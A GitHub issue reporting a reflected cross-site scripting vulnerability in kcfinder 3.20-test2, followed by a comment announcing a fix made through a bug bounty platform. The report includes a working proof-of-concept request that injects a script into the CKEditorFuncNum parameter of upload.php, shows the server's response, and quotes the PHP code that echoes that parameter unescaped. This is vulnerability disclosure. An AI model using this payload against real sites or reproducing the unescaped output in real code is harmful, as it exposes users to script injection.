Skip to content
This repository has been archived by the owner on Feb 23, 2021. It is now read-only.

Cross-site Scripting Vulnerability #180

Open
lowk3v opened this issue Jul 9, 2019 · 1 comment
Open

Cross-site Scripting Vulnerability #180

lowk3v opened this issue Jul 9, 2019 · 1 comment

Comments

@lowk3v
Copy link

lowk3v commented Jul 9, 2019

I discovered XSS vulnerability in kcfinder version 3.20-test2.
Payload

curl localhost/kcfinder/upload.php?type=files&CKEditor=editor1&CKEditorFuncNum=);}</script><script>alert(1);if(1){//&langCode=en

Response

<html><body><script type='text/javascript'>
var par = window.parent,
    op = window.opener,
    o = (par && par.CKEDITOR) ? par : ((op && op.CKEDITOR) ? op : false);
if (o !== false) {
    if (op) window.close();
    o.CKEDITOR.tools.callFunction();}</script><script>alert(1);//, '', 'You don\'t have permissions to upload files.');
} else {
    alert('You don\'t have permissions to upload files.');
    if (op) window.close();
}
</script></body></html>

Vulnerable code
in file core\class\uploader.php line 201

if (isset($_GET['CKEditorFuncNum'])) {
            $this->opener['name'] = "ckeditor";
            $this->opener['CKEditor'] = array('funcNum' => $_GET['CKEditorFuncNum']);

a var $_GET['CKEditorFuncNum']) was not escape by htmlentities().
@Mik317 Mik317 mentioned this issue Aug 14, 2020
Merged
@huntr-helper
Copy link

‎‍🛠️ A fix has been provided for this issue. Please reference: 418sec#1

🔥 This fix has been provided through the https://huntr.dev/ bug bounty platform.

@huntr-helper huntr-helper mentioned this issue Aug 20, 2020
Open
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Assignees
No one assigned
Labels
None yet
Projects
None yet
Milestone
No milestone
Development

No branches or pull requests
2 participants
@lowk3v @huntr-helper